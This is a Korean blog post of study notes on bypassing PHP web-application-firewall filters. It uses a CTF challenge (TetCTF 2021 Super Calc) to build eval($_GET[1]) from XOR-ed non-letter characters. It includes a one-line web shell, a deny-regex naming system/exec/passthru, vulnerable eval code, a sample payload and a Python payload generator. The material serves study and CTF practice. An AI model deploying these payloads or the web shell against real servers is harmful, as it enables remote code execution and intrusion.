ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [PHP] WAF Bypass : Non-Alphabets Code
    Study/Web 2021. 1. 11. 17:55

    웹 서버의 권한을 얻기 위해 웹 쉘을 이용하는 경우가 많다.

    이때, 해당 WAF에서 RCE를 유발할 수 있는 문자를 포함한 코드를 차단한다.

     

    RCE를 유발할 수 있는 코드의 예시를 들자면, 아래의 코드와 같이 원하는 인자로 원하는 함수를 실행할 수 있는 코드이다. 해당 코드에서 원하는 함수를 실행할 수 있는 이유는 PHP에서는 가변 함수의 개념을 지원하여 변수나 문자열을 이용하여 함수를 호출할 수 있기 때문이다.

     

    <?php
    	$_GET[s]($_GET[i]);
    ?>

     

    PHP 실행 함수
    - system()
    - shell_exec()
    - eval()
    - exec()
    - passthru
    - etc...

     

    공격자 마음대로 함수를 실행할 수 있다면 보안상 위험하기 때문에 아래 코드와 같이 특정 함수 이름 등을 필터링하여 방어할 수 있다.

     

    <?php
    	if(preg_match('/system|exec|passthru/', $_GET[input])) {
    		echo "invalid syntax";
    	}
    	else {
    		eval($_GET[input]);
    	}
    ?>

     

    이러한 필터링을 우회하기 위해서는 허용된 문자를 이용해 "system" 등 원하는 문자열로 변환하여 전달해야 한다. 허용된 다른 문자로 어떻게 원하는 문자열을 만들 수 있는지, 영문자(a-zA-Z)를 사용하지 않고 특정 문자열을 생성하는 방법에 대해 알아보았다. (본 글에서 사용한 예제 코드는 TetCTF 2021의 Super Calc의 일부이다.)

     

    [ TetCTF 2021: Super Calc ]

    <?php
        $wl = preg_match('/^[0-9\+\-\*\/\(\)\'\.\~\^\|\&]+$/i', $_GET["calc"]);
        if($wl === 0 || strlen($_GET["calc"]) > 70) {
            die("Tired of calculating? <3");
        }
        echo 'Result: ';
        eval("echo ".eval("return ".$_GET["calc"].";").";");
    ?>

     

    입력 값으로 숫자와 + - * / ( ) ' . ~ ^ | & 정도만 사용이 가능하다. 즉, 영문자(a-zA-Z)는 전혀 사용할 수 없다.

    이를 우회하기 위해, 사용할 수 있는 문자 간의 XOR 연산으로 특정 문자를 생성할 수 있다는 점을 이용하였다. 두 문자의 연산만으로는 만들 수 있는 문자에 한계가 있어 보통 3개의 문자를 이용한다.

     

    XOR 연산을 수행하기에 앞서 XOR 연산의 특징에 대해 알아보았다.

     

    [ XOR 특징 ]
    a ^ b = c
    a ^ c = b
    b ^ c = a
    => 얻으려는 문자로 연산하여 더욱 쉽게 값을 얻을 수 있다.

    a  ^  b =  c
    d  ^  e =  f
    ad ^ be = cf
    => (a^b).(d^e)ad^be로 좀 더 간결하게 수식을 표현할 수 있다.

     

    사용 가능한 숫자와 문자 간의 XOR 연산으로 아래와 같이 eval(\$_GET[1])을 생성할 수 있다.

     

    e = "~" ^ "0" ^ "+"
    v = "~" ^ "0" ^ "8"
    a = "|" ^ "0" ^ "-"
    l = "&" ^ "4" ^ "~"
    ( = "(" ^ "0" ^ "0"
    $ = "&" ^ "0" ^ "2"
                ...

    eval($_GET[1]) => "~~|&(&^^^^^1^)"^"00040000020000"^"+8-~021)+85030"

     

    한 글자씩 XOR 연산을 하는 것은 무리가 있어 Python을 이용하였다.

     

    # !/usr/bin/python
    
    find_str = "eval($_GET[1])"
    valid = "0123456789+-*/().~&|^"
    
    def xor(expected, valid):
    	for v1 in valid:
    		for v2 in valid:
    			r = chr(ord(expected) ^ ord(v1) ^ ord(v2))
    			if r in valid:
    				return r, v1, v2
    
    s1, s2, s3 = str(), str(), str()
    for expected in find_str:
    	a, b, c = xor(expected, valid)
    	s1 += a
    	s2 += b
    	s3 += c
    if len(find_str) != len(s1):
    	print("[-] Not Found!")
    else:
    	res = "(\"{}\"^\"{}\"^\"{}\")".format(s1, s2, s3)
    	print("[+] {} => {}".format(find_str, res))
        

     

    [참고]

    - ironhackers.es/en/tutoriales/saltandose-waf-ejecucion-de-codigo-php-sin-letras/

    - www.defenxor.com/blog/writing-simple-php-non-alphanumeric-backdoor-to-evade-waf/

    - medium.com/mucomplex/bypass-with-php-non-alpha-encoder-fee4e1bac31e

    'Study > Web' 카테고리의 다른 글

    [MongoDB] ObjectId 란?  (0) 2021.06.27
    [HTTP] Basic Authentication _ .htpasswd  (0) 2021.03.08
    [HTTP] Header : X-Forwarded-For (XFF)  (0) 2021.02.09
    PHP 입력 길이 제한 우회  (0) 2021.01.09

    댓글

@Jo Grini's Blog